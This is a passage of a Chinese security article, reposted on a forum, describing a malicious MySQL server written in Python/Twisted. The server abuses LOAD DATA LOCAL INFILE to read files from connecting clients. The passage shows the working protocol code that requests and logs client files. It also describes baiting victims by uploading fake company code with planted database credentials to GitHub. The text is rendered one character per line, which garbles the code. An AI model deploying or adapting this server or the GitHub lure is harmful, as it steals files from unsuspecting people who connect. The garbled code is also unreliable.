o
k
=
b
y
t
e
s
.
f
r
o
m
h
e
x
(
'
0
7
0
0
0
0
0
2
0
0
0
0
0
0
0
2
0
0
0
0
0
0
'
)
s
e
c
o
n
d
_
r
e
s
p
o
n
s
e
_
o
k
=
b
y
t
e
s
.
f
r
o
m
h
e
x
(
'
0
7
0
0
0
0
0
4
0
0
0
0
0
0
0
2
0
0
0
0
0
0
'
)
#
S
e
r
v
e
r
r
e
s
p
o
n
s
e
w
i
t
h
e
v
i
l
f
i
l
e
n
a
m
e
=
r
a
n
d
o
m
.
c
h
o
i
c
e
(
f
i
l
e
n
a
m
e
s
)
d
u
m
p
_
f
i
l
e
=
c
h
r
(
l
e
n
(
f
i
l
e
n
a
m
e
)
+
1
)
.
e
n
c
o
d
e
(
)
+
b
y
t
e
s
.
f
r
o
m
h
e
x
(
'
0
0
0
0
0
1
f
b
'
)
+
f
i
l
e
n
a
m
e
.
e
n
c
o
d
e
(
)
s
e
l
f
.
l
o
g
g
e
r
.
d
e
b
u
g
(
f
'
C
l
i
e
n
t
s
t
a
t
e
:
{
s
e
l
f
.
S
T
A
T
E
[
s
e
l
f
.
s
t
a
t
e
]
}
,
d
a
t
a
r
e
c
e
i
v
e
d
:
{
d
a
t
a
}
'
)
i
f
s
e
l
f
.
s
t
a
t
e
=
=
s
e
l
f
.
F
I
R
S
T
_
R
E
S
P
:
#
发
送
第
一
个
响
应
包
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
w
r
i
t
e
(
f
i
r
s
t
_
r
e
s
p
o
n
s
e
_
o
k
)
s
e
l
f
.
s
t
a
t
e
=
s
e
l
f
.
F
I
L
E
_
R
E
A
D
r
e
t
u
r
n
e
l
i
f
s
e
l
f
.
s
t
a
t
e
=
=
s
e
l
f
.
F
I
L
E
_
R
E
A
D
:
#
发
送
读
文
件
包
s
e
l
f
.
l
o
g
g
e
r
.
d
e
b
u
g
(
f
'
T
r
y
i
n
g
t
o
r
e
a
d
{
f
i
l
e
n
a
m
e
}
,
s
e
n
d
i
n
g
d
a
t
a
:
{
d
u
m
p
_
f
i
l
e
}
'
)
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
w
r
i
t
e
(
d
u
m
p
_
f
i
l
e
)
s
e
l
f
.
s
t
a
t
e
=
s
e
l
f
.
S
E
C
O
N
D
_
R
E
S
P
r
e
t
u
r
n
e
l
i
f
s
e
l
f
.
s
t
a
t
e
=
=
s
e
l
f
.
S
E
C
O
N
D
_
R
E
S
P
:
#
解
析
读
文
件
响
应
发
送
第
二
个
响
应
包
f
i
l
e
_
l
e
n
g
t
h
=
l
e
n
(
d
a
t
a
)
t
r
y
:
f
i
l
e
_
c
o
n
t
e
n
t
=
d
a
t
a
[
4
:
f
i
l
e
_
l
e
n
g
t
h
-
4
]
.
d
e
c
o
d
e
(
)
e
x
c
e
p
t
U
n
i
c
o
d
e
D
e
c
o
d
e
E
r
r
o
r
:
f
i
l
e
_
c
o
n
t
e
n
t
=
d
a
t
a
[
4
:
f
i
l
e
_
l
e
n
g
t
h
-
4
]
s
e
l
f
.
l
o
g
g
e
r
.
i
n
f
o
(
f
'
F
i
l
e
r
e
c
e
i
v
e
d
:
n
{
f
i
l
e
_
c
o
n
t
e
n
t
}
'
)
i
f
l
e
n
(
f
i
l
e
_
c
o
n
t
e
n
t
)
>
5
:
w
i
t
h
o
p
e
n
(
o
s
.
p
a
t
h
.
j
o
i
n
(
o
s
.
p
a
t
h
.
d
i
r
n
a
m
e
(
_
_
f
i
l
e
_
_
)
,
'
.
.
/
l
o
g
s
/
m
y
s
q
l
_
f
i
l
e
.
l
o
g
'
)
,
'
a
+
'
,
e
n
c
o
d
i
n
g
=
'
u
t
f
-
8
'
)
a
s
f
:
f
.
w
r
i
t
e
(
f
'
{
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
h
o
s
t
n
a
m
e
}
n
'
)
f
.
w
r
i
t
e
(
f
'
{
f
i
l
e
_
c
o
n
t
e
n
t
}
n
n
n
'
)
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
w
r
i
t
e
(
s
e
c
o
n
d
_
r
e
s
p
o
n
s
e
_
o
k
)
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
l
o
s
e
C
o
n
n
e
c
t
i
o
n
(
)
r
e
t
u
r
n
e
l
s
e
:
s
e
l
f
.
l
o
g
g
e
r
.
w
a
r
n
i
n
g
(
f
'
U
n
k
n
o
w
n
c
l
i
e
n
t
s
t
a
t
e
:
{
s
e
l
f
.
s
t
a
t
e
}
'
)
s
e
l
f
.
t
r
a
n
s
p
o
r
t
.
l
o
s
e
C
o
n
n
e
c
t
i
o
n
(
)
r
e
t
u
r
n
注
意
:
T
w
i
s
t
e
d
的
写
法
是
当
前
连
接
的
变
量
存
在
p
r
o
t
o
c
o
l
中
,
而
整
个
服
务
的
变
量
存
在
f
a
c
t
o
r
y
中
。
0
x
0
3
I
t
'
s
a
t
r
a
p
!
只
要
我
们
把
这
个
恶
意
的
服
务
开
在
3
3
0
6
端
口
上
,
自
然
会
有
全
球
各
地
的
扫
描
器
来
光
顾
,
不
光
能
读
到
一
些
客
户
端
文
件
,
还
能
接
收
到
很
多
各
类
后
门
挖
矿
p
a
y
l
o
a
d
,
不
过
这
只
是
常
规
操
作
。
近
两
年
来
,
各
大
厂
商
都
开
始
做
自
己
的
G
i
t
H
u
b
代
码
监
控
,
防
止
内
部
代
码
泄
露
,
借
着
这
一
点
,
更
猥
琐
的
思
路
是
在
G
i
t
H
u
b
上
传
包
含
各
大
厂
商
特
征
的
假
代
码
,
在
其
M
y
S
Q
L
配
置
中
加
上
我
们
恶
意
服
务
的
地
址
和
端
口
,
这
样
当
厂
商
监
控
到
G
i
t
H
u
b
的
代
码
,
大
概
翻
一
下
就
可
以
发
现
配
置
文
件
中
的
数
据
库
密
码
,
一
般
人
都
会
去
连
接
一
下
,
此
时
…
…
不
过
M
a
c
安
装
的
M
y
S
Q
L
版
本
默
认
没
有
开
本
地
文
件
上
传
的
功
能
,
触
发
漏
洞
需
要
手
动
指
定
参
数
,
只
能
说
一
声
可
惜
了
。
疑
似
某
广
东
公
司
的
请
求
,
可
惜
没
读
到
文
件
。
抓
到
的
谷
歌
云
扫
描
器
。
-
-
e
n
a
b
l
e
-
l
o
c
a
l
-
i
n
f
i
l
e
某
俄
罗
斯
扫
描
器
。
0
x
0
4
展
望
展
望
一
个
只
能
读
特
定
文
件
的
洞
说
起
来
还
是
用
处
小
了
一
点
,
之
后
计
划
再
集
成
一
下
之
前
A
W
V
S
8
和
1
0
的
命
令
执
行
,
做
成
一
个
更
有
威
力
的
反
击
工
具
。
0
x
F
F
参
考
文
章
参
考
文
章
h
t
t
p
s
:
/
/
w
w
w
.
a
n
q
u
a
n
k
e
.
c
o
m
/
p
o
s
t
/
i
d
/
1
0
6
4
8
8
h
t
t
p
s
:
/
/
l
i
g
h
t
l
e
s
s
.
m
e
/
a
r
c
h
i
v
e
s
/
r
e
a
d
-
m
y
s
q
l
-
c
l
i
e
n
t
-
f
i
l
e
.
h
t
m
l
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
b
e
t
t
e
r
c
a
p
/
b
e
t
t
e
r
c
a
p
h
t
t
p
:
/
/
r
u
s
s
i
a
n
s
e
c
u
r
i
t
y
.
e
x
p
e
r
t
/
2
0
1
6
/
0
4
/
2
0
/
m
y
s
q
l
-
c
o
n
n
e
c
t
-
f
i
l
e
-
r
e
a
d
/
*
本
文
作
者
:
美
丽
联
合
安
全
本
文
作
者
:
美
丽
联
合
安
全
M
L
S
R
C
,
转
载
请
注
明
来
自
,
转
载
请
注
明
来
自
F
r
e
e
B
u
f
.
C
O
M
阅
读
原
文
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页